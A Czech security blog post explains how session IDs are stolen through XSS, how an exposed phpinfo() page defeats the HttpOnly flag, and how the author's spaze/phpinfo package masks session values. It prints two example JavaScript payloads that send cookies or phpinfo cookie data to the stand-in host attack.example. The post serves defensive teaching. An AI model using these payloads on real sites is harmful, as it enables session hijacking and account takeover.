Krádež session id z výpisu phpinfo() je již nějakou dobu známá technika, která se používá k obcházení atributu HttpOnly, který JavaScriptu zakazuje přístup k takto označené cookie (např. PHPSESSID). Mě akorát až teď napadlo řešení, které dovolí phpinfo() zachovat: ty citlivé údaje prostě zcenzurujeme, čímž phpinfo() pro útočníka ztratí část své hodnoty.

Klasické přihlášení do webové aplikace vypadá tak, že zadáte jméno a heslo, formulář odešlete, aplikace přihlašovací údaje ověří a do tzv. sessiony uloží informaci, že jste přihlášeni. Do prohlížeče pak odešle cookie s identifikátorem session (session id), který označuje tu vaši „plechovku“ se session daty. Váš session id nikdo jiný úmyslně nedostane, pokud by ho totiž získal, byl by pak přihlášen do vašeho účtu, což by bylo značně nežádoucí.

Session hijacking

Ale to by tu nesměli být různí mizerové: ti se od vás snaží ideálně nějak nepozorovaně získat právě ten session identifikátor, tím se dostat do vaší sessiony a v podstatě se za vás vydávat, sessionu vám tzv. unést (anglicky se tomu říká „session hijacking“). Takový klasický způsob ukradení session id je pomocí útoku Cross-Site Scripting (XSS), kdy do stránky útočník nějak vloží JavaScript, ať už přímo, nebo vložením externího souboru, který zákeřný kód bude obsahovat. Ten vložený kód může vypadat např. takto:

new Image().src = 'https://attack.example/?cookie=' + encodeURIComponent(document.cookie);

Když pak návštěvník na stránku přijde, jeho prohlížeč uvidí JavaScript, vytvoří objekt typu Image a bude chtít načíst obrázek z uvedené adresy. Ta v parametru cookie obsahuje pro přenos v URL bezpečně zakódované všechny cookie, ke kterým má JavaScript aktuálně přístup, tedy ty, které jsou uložené pro aktuální stránku (dle nastavení atributu Domain, Path atd.) a nemají nastaven příznak HttpOnly.

Útočník si pak na svém serveru attack.example může zobrazit i třeba jenom access log, ve kterém uvidí požadavek na např. /?cookie=PHPSESSID%3D68516bed29d47527b8b23bd7dec20f19, z něj si pak vyzobne session id, v browseru načte stránku, ze které session id ukradl, otevře developer tools a přidá nebo změní cookie PHPSESSID, stránku pak reloadne a rázem je v té samé sessioně, česky sezení, přihlášen jako uživatel chudáka oběti.

Atribut HttpOnly

Pokud cookie má atribut HttpOnly, tak k ní JavaScript nemá přístup a kódem uvedeným výše ukrást nepůjde. To si ostatně můžete vyzkoušet v podstatě na jakémkoliv webu: ve vašem prohlížeči v developer tools si v záložce Application (Chrome) nebo Storage (Firefox) najděte nějakou cookie, která má příznak HttpOnly, a v konzoli, kterou můžete rovnou zobrazit stiskem klávesy Escape, si příkazem document.cookie vypište všechny cookies tak, jak je vidí JavaScript – cookies s HttpOnly tam nebudou.

Cookie s atributem HttpOnly není v document.cookie vidět

A cookie se session id, v PHP aplikacích obvykle pojmenovaná PHPSESSID, atribut HttpOnly má často nastaven. V defaultní konfiguraci PHP se ale nenastavuje a je potřeba to udělat dodatečně ručně např. pomocí

ini_set('session.cookie_httponly', true);

Obcházení HttpOnly pomocí phpinfo()

Takže smůla, ledaže… ledaže by na webu někde byl zobrazen výstup z phpinfo(), PHP funkce, která vypisuje úplně všechno o aktuálně použitém PHP. Klasicky bývá na /info.php nebo /phpinfo.php, občas třeba v administraci za přihlášením, což je ta lepší a doporučovaná varianta, ale sama o sobě zde popisovaný problém nevyřeší. phpinfo() jsem zmiňoval i v článku o Full Path Disclosure, protože kromě konfigurace PHP a informacích o rozšířeních zobrazí právě i cestu k souborům, která se útočníkům může k něčemu hodit.

phpinfo()

Klasický výstup z phpinfo()

Ve výstupu z phpinfo() ale jsou vypsané i hodnoty cookies, které browser při požadavku poslal, včetně těch s HttpOnly, protože takové cookies se normálně po síti přenáší a server je tedy v rámci požadavku obdrží. Ve výpisu tedy bude i hodnota session id, minimálně jako řádek s např. $_COOKIE['PHPSESSID'], ale dle verze PHP a konfigurace klidně i víckrát.

Session identifikátor v phpinfo() v poli $_REQUEST, $_COOKIE i $_SERVER

Toho může útočník využít: místo aby kradl session id JavaScriptem přímo z browseru pomocí document.cookie, tak si JavaScriptem pošle požadavek na např. /phpinfo.php, vytáhne si jen tu pro něj zajímavou část odpovědi, kterou pak připojí k následujícímu požadavku, který si pošle k sobě. To zařídí třeba následující kód, který někam do stránek na doméně https://app.example/ vloží místo výše uvedeného new Image().src …:

fetch('https://app.example/info.php')
  .then(response => response.text())
  .then(text => {
    cookie = text.match(/_COOKIE.{1,2000}/)[0];
    fetch('https://attack.example/?cookie=' + encodeURIComponent(cookie));
  });

Na prvním řádku pošleme požadavek na /info.php, druhý a třetí řádek zajistí, že v proměnné text budeme mít výstup z phpinfo(), ze kterého si na čtvrtém řádku vytáhneme řetězec _COOKIE a dalších maximálně 2000 znaků, ve kterých zcela určitě, kromě nějakého toho HTML, bude i session id. Na pátém řádku pak tento podřetězec přidáme do požadavku odesílaného na attack.example. Odpověď už nás nezajímá, stačí že prohlížeč poslal požadavek, a na serveru se pak podíváme do access logu. Mohli bychom si klidně poslat celé phpinfo(), ale potřeba to není, jdeme jenom po cookie se session id.

Pokud budete mít v aplikaci nějaký Cross-Site Scripting, aby útočník mohl vložit svůj zákeřný JavaScript, a výstup z phpinfo(), jedno jestli veřejně nebo za přihlášením, tak mizera může ukrást session id i když cookie, ve které se přenáší, má atribut HttpOnly.

Co s tím?

  1. Nemějte na webu XSS
  2. Nemějte v aplikaci výstup z phpinfo(), nebo věci jako var_dump($_SERVER) apod., a už vůbec ne veřejně

Teorie i praxe říká, že je lepší počítat s tím, že tam nějaký ten Cross-Site Scripting někdy mít budete, takže bod č. 1 padá. No a výstup z phpinfo() je celkem užitečná věc, takže bod č. 2 je také často nereálný.

Až když jsem psal bug report s titulkem „System Information contains sensitive information like the session id cookie“, tak mě napadl kompromis: phpinfo() v administraci necháme, ale ty důležitý údaje skryjeme, na ty tam stejně nikdo nekouká. Další úrovní zabezpečení by mohlo být zadání hesla nebo třeba 2FA kódu před naprosto každým zobrazením výstupu z phpinfo().

spaze/phpinfo

Už dříve jsem si vytvořil jednoduchý balíček spaze/phpinfo, který vezme výstup z phpinfo(), odřízne HTML hlavičku aby se ten výstup dal vložit do nějakého vlastního designu administrace apod. a inline CSS style="…" nahradí za class="…". Do této třídy jsem přidal sanitizaci, která defaultně nahrazuje hodnotu session id za hvězdičky.

Použití je skoro tak jednoduché jako zavolání phpinfo():

$info = new PhpInfo();
echo $info->getHtml();

Jádrem toho celýho zázraku je v podstatě tenhle kód:

ob_start();
phpinfo();
$info = ob_get_clean();
echo str_replace(session_id(), '*****', $info);

Můžete si ale přidat vlastní nahrazování dalších hodnot jako jsou např. cookie pro permanentní přihlašování a další, můžete si zvolit i vlastní „hvězdičky“:

// $loginToken = getLoginTokenValue(); např.
$info = new PhpInfo();
$info->addSanitization($loginToken, 'hele, asi spíš ne');
echo $info->getHtml();

Na mém webu to všechno zajišťuje třída SanitizedPhpInfo (pokrytá testem), výsledek pak vypadá nějak takhle:

phpinfo() s maskovanými hodnotami v $_COOKIE[‚PHPSESSID‘] a $_SERVER[‚HTTP_COOKIE‘]

Setec Astronomy je přesmyčka „too many secrets“

Místo prostého volání phpinfo() tedy raději použijte spaze/phpinfo. Funkci phpinfo() jsem přidal i do spaze/phpstan-disallowed-calls, což je rozšíření pro PHPStan, které hledá nebezpečné funkce a další ve vašem kódu.

Device Bound Session Credentials

Kradení cookies ale možná bude velmi brzy již minulostí, Chrome totiž experimentuje s něčím, co nazývají Device Bound Session Credentials. To by mělo zajistit, že sessiona bude svázaná s konkrétním zařízením, používají k tomu veřejné a soukromé klíče a TPM pro jejich uložení. Mělo by to také fungovat jako jakási nadstavba nad klasickými sessions, nemělo by to vyžadovat nějaké brutální změny všeho možného.

Prototyp tohoto řešení už chrání některé Google účty pokud uživatelé používají Chrome Beta a do konce roku 2024 by Device Bound Session Credentials na zkoušku měly být dostupné i veřejnosti a dalším webům jako tzv. Origin Trials.

Michal Špaček

Michal Špaček

Vyvíjím webové aplikace, zajímá mě jejich bezpečnost. Nebojím se o tom mluvit veřejně, hledám hranice tak, že je posouvám. Chci naučit webové vývojáře stavět bezpečnější a výkonnější weby a aplikace.

Veřejná školení

Zvu vás na následující školení, která pořádám a vedu: